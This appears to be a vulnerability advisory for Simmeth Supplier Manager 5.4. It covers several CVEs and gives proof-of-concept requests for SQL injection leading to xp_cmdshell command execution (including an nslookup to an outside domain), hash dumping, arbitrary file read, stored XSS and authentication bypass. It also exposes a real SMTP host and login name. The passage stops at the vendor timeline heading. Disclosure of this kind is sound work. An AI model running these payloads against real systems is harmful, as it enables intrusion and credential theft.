Multiple Critical Vulnerabilities in Simmeth Supplier Manager (Lieferantenmanager)

Vendor description

"We are an innovative B2B software provider for supply chain management, especially in the areas of supplier management over the entire supplier lifecycle and quality control, supply chain key figures and reporting. Our medium-sized family business is a reliable, practice-oriented partner with an extraordinary wealth of experience: since 2002, our currently more than 70 medium-sized and corporate customers have trusted our solutions and our pragmatically oriented expertise."

Source: www.simmeth.net/en/company/about-us

Business recommendation

The vendor provides a patch which should be installed immediately.

An in-depth security analysis performed by security professionals is highly advised, to identify and resolve potential further critical security issues.    

Vulnerability overview/description

1) SQL Injection leading to Remote Code Execution (CVE-2022-44015)

An attacker can inject raw SQL queries. By activating MSSQL features, the attacker is able to execute arbitrary commands on the MSSQL server.

2) Faulty API Design (CVE-2022-44014)

A faulty API design allows an attacker to fetch arbitrary SQL tables per design. This will leak all user passwords and MSSQL hashes.

3) Local File Access (CVE-2022-44016)

An attacker can download arbitrary files from the web server by abusing an API call.

4) Leak of Simmeth's SMTP password

A cleartext password for the email account "LM@simmeth.net" is leaked during the login process.

5) Stored Cross-Site Scripting (CVE-2022-44012)

An attacker can execute JavaScript code in the browser of the victim if a site is loaded. The victim's encrypted password can be stolen and most likely be decrypted.

6) Authentication Bypass (CVE-2022-44013)

An attacker can access multiple API calls without authentication. Thus, all outlined attacks can be executed without knowing any valid credentials.

7) Errors in Session management (CVE-2022-44017)

Due to errors in the session management, an attacker can log back into a victim's account after the victim logged out. This is due to the credentials not being cleaned from the local storage after logout.

8) Information Disclosure

Multiple requests were giving verbose error messages. This helps an attacker in finding and abusing a vulnerability.

Proof of concept

1) SQL Injection leading to Remote Code Execution (CVE-2022-44015)

Following API call can be used to execute arbitrary SQL queries via a subquery or stacked query in the table name. Because of vulnerability 6, only a valid username is required to send the request.

POST /DS/LM_API/api/SelectionService/GetPaggedTab HTTP/1.1 
Content-Length: 1264 
[...] 
 
{ 
  "Credential": { 
    "Mandant": { 
      "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml", 
      "ConnectionString": { 
        "Available": false, 
        "System": "****" 
      }, 
      "Encryption": 1, 
      "IsWithRegistration": true, 
      "Name": "****" 
    }, 
    "Username": "simmeth", 
    "System": "****" 
  }, 
  "ResultTab": { 
    "AutoLoad": false, 
    "Createable": true, 
    "Databases": [ 
      { 
        "System": "****", 
        "Tables": [ 
          { 
            "Columns": [], 
            "Name": "(SELECT name, password_hash FROM master.sys.sql_logins)sub;--",
            "Relations": [], 
            "Results": [ 
              { 
                "ColumnName": "*" 
              } 
            ] 
          } 
        ] 
      } 
    ], 
    "Name": "Results", 
    "PageSize": 2000 
  }, 
  "Ids": {}, 
  "SecondaryIds": {}, 
  "Constraints": [], 
  "DateConstraints": {}, 
  "LogicOperator": 0, 
  "PageNumber": 0, 
  "Sortings": {}, 
  "TableFilters": {}, 
  "GroupByField": null, 
  "Aggregates": {}, 
  "isExport": false 
}  

The POC above shows an example subquery, which will respond with the resulting dataset. Stacked queries will be executed, however, the results will not be contained in the web server's reply. The example query will dump the MSSQL password hashes.

Further attacks include arbitrary file read with the following query:

(SELECT * FROM OPENROWSET(BULK N'c:/windows/system32/license.rtf', SINGLE_CLOB) AS Contents 
)sub;-- 

And code execution via the xp_cmdshell extended procedure:

(SELECT @@Version AS version )sub; EXEC ('sp_configure ''show advanced options'', 1; 
RECONFIGURE;'); EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;');EXEC xp_cmdshell 
'nslookup some.domain';-- 

2) Faulty API Design (CVE-2022-44014)

The API design allows the frontend to supply an arbitrary table name (called <TABLE NAME HERE> in the POC below) into the following request. Because of vulnerability 6, only a valid username is required to send the request. 

POST /DS/LM_API/api/SelectionService/GetPaggedTab HTTP/1.1 
Content-Length: 1264 
[...] 
 
{ 
  "Credential": { 
    "Mandant": { 
      "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml", 
      "ConnectionString": { 
        "Available": false, 
        "System": "****" 
      }, 
      "Encryption": 1, 
      "IsWithRegistration": true, 
      "Name": "****" 
    }, 
    "Username": "simmeth", 
    "System": "****" 
  }, 
  "ResultTab": { 
    "AutoLoad": false, 
    "Createable": true, 
    "Databases": [ 
      { 
        "System": "****", 
        "Tables": [ 
          { 
            "Columns": [], 
            "Name": "<TABLE NAME HERE>",
            "Relations": [], 
            "Results": [ 
              { 
                "ColumnName": "*" 
              } 
            ] 
          } 
        ] 
      } 
    ], 
    "Name": "Results", 
    "PageSize": 2000 
  }, 
  "Ids": {}, 
  "SecondaryIds": {}, 
  "Constraints": [], 
  "DateConstraints": {}, 
  "LogicOperator": 0, 
  "PageNumber": 0, 
  "Sortings": {}, 
  "TableFilters": {}, 
  "GroupByField": null, 
  "Aggregates": {}, 
  "isExport": false 
}  

This is a fault by design, as the attacker has full control of the table name. Therefore, an arbitrary table such as the user table (ACL_Benutzer_Admin_Einkauf and ACL_Benutzer) can be read.

3) Local File Access (CVE-2022-44016)

The "GetImages" API call can be abused to read arbitrary files from the file system. This is due to the API allowing to set the image path from the frontend.

By pointing the base path to C:\, all files can be accessed. Because of vulnerability 6, the request requires no credentials. 

POST /DS/LM_API/api/ConfigurationService/GetImages HTTP/1.1 
Content-Length: 229 
[...] 
 
{"Credential":{ 
"Mandant":{ 
"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml" 
}, 
}, 
"ImagesPath":"C:\\", 
"ListImageNames":[ 
        "Windows\\win.ini", 
        "boot.ini", 
        "Windows\\system32\\eula.txt", 
        "Windows\\System32\\drivers\\etc\\hosts" 
] 
}

The files are returned base64 encoded. Thus, even binary data can be extracted from the server.

4) Leak of Simmeth's SMTP password

The following API call will return the current configuration. The configuration seems to contain cleartext credentials from Simmeth's SMTP server. The request does not require any credentials.

POST /DS/LM_API/api/ConfigurationService/GetConfiguration HTTP/1.1 
Content-Length: 70 
Content-Type: application/json 
 
 
{ 
"Mandant":{"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml",} 
}

The server responds with:

[...] 
"KPIIntro":{ 
"IsAccessLog":true, 
"MailSettings":{ 
"Host":"vwp4261.webpack.hosteurope.de", 
"IsAuthentification":true, 
"IsSSL":false, 
"LoginName":"wp10481666-supply", 
"Password":"K***********a", 
"Port":"25", 
"Sender":"LM@simmeth.net" 
[...]

Thus, an attacker could send phishing mails from an official Simmeth account.

5) Stored Cross-Site Scripting (CVE-2022-44012)

The following request can be used to store JavaScript code into the database. It will be fetched and executed in the victim's browser, once the site is visited. Because of vulnerability 6, only a valid username is required to send the request. 

POST /DS/LM_API/api/SelectionService/InsertQueryWithActiveRelationsReturnId HTTP/1.1 
Content-Length: 3311 
 
{"Credential":{"Mandant":{"ConfigPath":"C:\\SSG\\50_Konfigurationen\\LM.xml","ConnectionString
":{"Available":false,"System":"****"},"Encryption":1,"IsWithRegistration":true,"Name":"****"},
"Username":"********","System":"****"},"TabName":"Lieferzeiten","System":"****","TableName"
:"Lieferzeiten","Columns":{"Artikel":"test","Lieferzeit":"test1","Bemerkung":"<img src=x 
onerror=alert(document.domain)>test","Lie_ID":4167},
[...]

The XSS can be used to steal the encrypted passwords from the local storage. As the API uses cleartext passwords with every request, it is most likely possible to exfiltrate the passwords in cleartext as well.

6) Authentication Bypass (CVE-2022-44013)

All API calls start by supplying the Credential Object.

"Credential": { 
    "Mandant": { 
      "ConfigPath": "C:\\SSG\\50_Konfigurationen\\LM.xml", 
      "ConnectionString": { 
        "Available": false, 
        "System": "****" 
      }, 
      "Encryption": 1, 
      "IsWithRegistration": true, 
      "Name": "****" 
    }, 
    "Username": "simmeth", 
    "Password: "*********"
    "System": "****" 
  },

However, the password can just be removed. It seems to be only checked on the login API call. Thus, all requests can be made with just a username. The tested environment contained a User called "simmeth". Most likely this is a default user and thus always available, lowering the requirements for authenticated requests even further.

7) Errors in Session management (CVE-2022-44017)

An attacker can abuse a session management vulnerability in order to log back into a user account after the user logged out. The encrypted password and username saved in the local storage of the web browser is not cleared on logout and always stays valid. Hence, only the state of the frontend state changes and the user appears to be logged out. An attacker can force the frontend state back into the logged in state by visiting:

https: //<your-host>/LMS/LM/#main

8) Information Disclosure

The application replies with verbose error messages, when triggering exceptions. This can help an attacker to gain knowledge about the backend and aid in the development of exploits. Entering e.g. a single apostrophe into the table name of vulnerability 2 will cause the web server to print a full stack trace as well as the rest of the SQL query. Hence, the SQL statement can easily be updated to execute properly.

Vulnerable / tested versions

The test was conducted in version 5.4 which was found to be vulnerable.

Vendor contact timeline